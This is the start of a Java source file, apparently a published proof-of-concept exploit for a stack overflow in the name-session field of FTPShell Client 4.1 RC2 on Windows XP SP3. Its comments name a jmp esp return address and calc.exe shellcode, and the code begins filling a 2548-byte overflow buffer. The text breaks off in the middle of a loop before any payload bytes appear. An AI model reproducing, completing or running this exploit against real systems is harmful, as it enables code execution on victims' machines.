/* * FTPShell Client, Name Session Stack Overflow Exploit * Tested on Version 4.1 RC2 on Windows XP SP3 * Vulnerable program download page : http://www.ftpshell.com/downloadclient.htm * Coded by zec * Feel yourself freely to get into touch : zec@bsdmail.com */ package ftpbof; import java.io.DataOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; /** * @author zec */ public class Main { public static void main(String[] args) throws IOException { /* Shellcode calc.exe * jmp esp 0x7C86467B */ byte[] data = new byte[2548]; for(int i = 1; i